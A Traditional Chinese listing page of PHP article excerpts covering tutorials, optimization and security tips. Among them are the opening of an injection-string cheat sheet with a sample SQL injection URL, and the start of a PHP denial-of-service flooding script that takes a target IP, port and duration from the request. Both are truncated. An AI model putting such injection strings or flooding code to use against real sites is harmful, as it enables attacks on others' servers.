十天學會php之第五天

學習目的:學會讀取資料先看兩個函數:1、mysql_query 送出一個 query 字串。 文法: int mysql_query(string query, int [link_identifier]); 傳回值: 整數本函數送出 query 字串供 MySQL 做相關的處理或者執行。若沒有指定 link_identifier 參數,則程式會自動尋找最近開啟的 ID。當 query 查詢字串是 UPDATE、INSERT 及 DELETE 時,返回的可能是 true 或者

十天學會php之第三天

學習目的:學會構建資料庫 在ASP中,如果是ACCESS資料庫你可以直接開啟ACCESS來編輯MDB檔案,如果是SQL SERVER你可以開啟企業管理器來編輯SQL SERVER資料庫,但是在PHP中,MY SQL的命令列編輯可能會令初學者感到很麻煩,不要緊,你下載一個PHPMYADMIN安裝一下,以後建立編輯資料庫可以靠它了。 下面說一下它的使用。 進入了phpmyadmin後,我們首先需要建立一個資料庫,Language (*) 這裡選擇中文簡體,然後在左邊的 建立一個新的資料庫

用PHP產生訪客計數器

計數器 現在,上網的人越來越多,許多網友嘗試著製作自己的首頁,訪客計數器是必不可少的一部分。雖然很多網站提供免費的計數器,可畢竟不是自己親手製作的?有的朋友可能認為它很難,不敢去嘗試,其實有了PHP這個工具,它並不難,甚至可以說它很容易。 首先,讓我來談一談訪客計數器的思路:一位訪問者瀏覽此頁,伺服器(如Apache)從一個文檔(下文以num.txt為例)中讀取該頁已被瀏覽的次數,加一,然後存回num.txt,並在瀏覽器中顯示加一後的次數。

逃離偽PHP程式員應該做的事

  成為一名優秀的PHP程式員,該如何做呢?應該具有什麼樣的技能,才算得上PHP程式員?你的技術又是在什麼水平層級上?本文將列出一些作為一名PHP程式員應該瞭解的事情。  MySQL能力  在開發上的應用基於幾個能力體現:  (1)瞭解:知道用PHP串連資料庫;懂得寫一些簡單的SQL;建一些簡單的索引;懂得用工具簡單操作一下資料庫(增刪改庫表結構資料等等)。  (2)熟悉:懂得在開發應用上設計資料庫,建立一些有效索引,用explain分析SQL效能,壓力測試等等。  (3)很熟悉:深入瞭解資料庫

淺談PHP文法(三)

文法 上文中曾提到了PHP提交表單資訊是很方便的。可是,提交的表單資訊中的變數的生命週期是多長呢?本文就來崐談談這個問題。 表單的參數會傳給下一個處理常式,這是不用置疑的。因為,我們曾有過這樣的例子。可它還會繼續傳給下一個處理常式嗎? 答案是否定的!一個Form表單所提交的參數只傳給第一個處理常式,而下一個處理常式中它是不會起作用的。來看看下例吧: 檔案:table.html <html>

五個常見 PHP資料庫問題

  如果只有一種方式使用資料庫是正確的,您可以用很多的方式建立資料庫設計、資料庫訪問和基於資料庫的 PHP 商務邏輯代碼,但最終一般以錯誤告終。本文說明了資料庫設計和訪問資料庫的 PHP 代碼中出現的五個常見問題,以及在遇到這些問題時如何修複它們。  問題 1:直接使用 MySQL  一個常見問題是較老的 PHP 代碼直接使用 mysql_ 函數來訪問資料庫。清單 1 展示了如何直接存取資料庫。  清單 1. Access/get.php  <?php  function

PHP開發程式應該注意的42個最佳化準則

  PHP 獨特的文法混合了 C、Java、Perl 以及 PHP 自創新的文法。它可以比 CGI或者Perl更快速的執行動態網頁。用PHP做出的動態網頁面與其他的程式設計語言相比,PHP是將程式嵌入到HTML文檔中去執行,執行效率比完全產生HTML標記的CGI要高許多。下面介紹了42個程式的最佳化準則。  1.如果一個方法可靜態化,就對它做靜態聲明。速率可提升至4倍。  2.echo 比 print

用PHP產生自己的LOG檔案

如果你的伺服器不容許你讀他的LOG檔案,那你只好停下來分析你的訪問者?做你自己的LOG檔案吧!   你僅需做的事情是用PHP計算實際的點擊次數,沒有錯誤,沒有象'304 Not Modified' 和 'Internal Server Error' 一樣的錯誤。你的代碼將產生自己的LOG檔案。 <?php /* 使用者定義變數 */ $logfile = "clf.log"; /*LOG檔案寫到那裡 */ $timezone = "+0100"; /

PHP的SQL注入

  今天從網上學習了有關SQL注入的基本技能。SQL注入的重點就是構造SQL語句,只有靈活的運用SQL  語句才能構造出牛比的注入字串。學完之後寫了點筆記,已備隨時使用。希望你在看下面內容時先了  解SQL的基本原理。筆記中的代碼來自網路。  ===基礎部分===  本表查詢:  http://127.0.0.1/injection/user.php?username=angel' and

十一個常見的PHP安全細則

  PHP本身再老版本有一些問題,比如在 php4.3.10和php5.0.3以前有一些比較嚴重的bug,所以推薦使用新版。另外,目前鬧的轟轟烈烈的SQL Injection也是在PHP上有很多利用方式,所以要保證安全,PHP代碼編寫是一方面,PHP的配置更是非常關鍵。  我們php手手工安裝的,php的預設設定檔在

PHP 5.2/5.3 Hash漏洞補丁發布

  前日有資訊顯示當前包括PHP、Java、Ruby在內的很多語言版本存在漏洞,PHP官方開發群組成員Laruence(新浪微博)表示攻擊者可以通過構造Hash衝突實現拒絕服務的攻擊,並提供了執行個體。這個攻擊方法危害很高,攻擊成本也很小,一個台式機可以輕鬆搞垮數十台、上百台伺服器。  此漏洞一出,相當於隨便一個攻擊者就可以DDoS掉世界上的大部分網站!危害等級絕對是核彈層級。因此,PHP官方開發組緊急發布了補丁,請大家儘速修補。  PHP方面,<= 5.3.8, <=

簡單說說PHP最佳化

  我們在編寫程式時,總是想要使自己的程式佔用資源最小,運行速度更快,代碼量更少。往往我們在追求這些的同時卻失去了很多東西。下面我想講講我對PHP最佳化的理解。最佳化的目的是花最少的代價換來最快的運行速度與最容易維護的代碼。  進行大範圍的最佳化,而不是死啃某些程式碼  我這裡所說的最佳化,基本上都是從伺服器,Apache,資料庫這些方面來進行的最佳化,而並不是對你的PHP代碼加以改進從而提高程式的運行速度,因為比起你將程式中的正則最佳化為字串處理函數從而提升程式速度來說,在大範圍內進行的最佳化

PHP教程之PHP中shell指令碼的使用方法

  我們都知道,在電腦科學中,SHELL類似於DOS下的command.com。它接收使用者命令,然後調用相應的應用程式。同時它又是一種程式設計語言。作為命令語言,它互動式解釋和執行使用者輸入的命令或者自動地解釋和執行預先設定好的一連串的命令;作為程式設計語言,它定義了各種變數和參數,並提供了許多在高階語言中才具有的控制結構,包括迴圈和分支。  PHP經過長時間的發展,很多使用者都很瞭解PHP了,這裡我發表一下個人理解,和大家討論討論。大多數情況下,我使用 exec()

基於PHP的聊天室(一)

聊天室 從前有一個相當流行的web聊天室,叫做Star Trekker 聊天室。我能夠來到這個聊天室要感謝我的一個朋友,並且即使Star Trekker的聊友們幾乎與我不是同一個圈中的,但是我發現對於他們的大部分人來說,都很友好和有意思。但是當Star Trekker關閉之後,這不得不謝謝運行在背景Perl了,是它吞掉了伺服器的資源,所以這些快樂和友善的人們不得不離開,無處可去了。我有幸在那段時間開張了自已的仿Star

變數的變數,PHP和你

變數 在我最近做的一個項目中,我發現了一個新的概念,關於在PHP中使用變數的變數。在我的程式中,我需要在一個頁面同時更新多個記錄,在我經過相當長時間的痛苦思索之後,腦海中偶然地閃現出了變數的變數(variable variable)這一概念,所有的困惑就一掃而光了。 介紹

PHP新手上路(十三)

12. PHP資源   你可以通過web上的眾多資源更多的瞭解PHP3。許多郵件清單和書籍對你都非常有用。 12.1 網站   PHP的爆炸性流行使得一夜之間出現了很多基於PHP的網站,其中不少網站有線上教程、範例代碼、技巧和提示等內容。 國內 http://www.phpuser.com/ - PHP中文使用者,也就是這裡了 http://www.phpx.com/ - 中國PHP聯盟 http://www.phpsite.net/ - PHP專門站

FirePHP — php版的firebug

  在friendfeed上找到的了這個名為FirePHP的Firefox外掛程式,是基於Firebug的一個擴充,可以用來在Firebug的console中方便的輸出php的調試資訊又不影響php程式的正常運行。實際上這東東出來的時間也不短了,只是以前沒試用過,現在把玩了一會也挺有趣。附圖一張:     FirePHP包含兩個部分  firefox擴充  php程式庫  FirePHP的php調試資訊都是通過在http頭裡面添加X-FirePHP-Data資訊串來標識,不會直接輸出到

PHP編程習慣

題目:找出以下代碼的錯誤之處:<?function baz($y $z) {    $x = new Array();    $x[sales] = 60;    $x[profit] = 20:    foreach($x as $key = $value) {        echo $key+"

PHP的echo為什麼這麼慢

  作為一個行走江湖多年的老中醫,今天受命去解決一例前端頁面展現緩慢的問題。問題頁的情況如下:  apache + php  使用smarty模板輸出內容  頁面最終輸出內容較大,80k+  頁面執行時間在500ms以上  祭出法寶xhprof對問題頁面做了細緻檢查,發現頁面的瓶頸竟然是模板(編譯後的)中的一個echo語句,這個echo語句輸出的字串比較大,大概是50k+位元組,花費時間為400多毫秒,占整個頁面執行時間的80%。這樣的echo輸出在網站首頁中其實是很常見的事情,沒有資料庫操作,

ddos PHP版

<?phpheader("charset='utf-8'");error_reporting(0);set_time_limit(0);ignore_user_abort(TRUE);$ip = $_GET['ip'];$port = $_GET['port'];$exec_time =time()+$_GET['time'];$byte = 0;$true = 1;while($true) { 

總頁數: 1662 1 .... 763 764 765 766 767 .... 1662 Go to: 前往

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.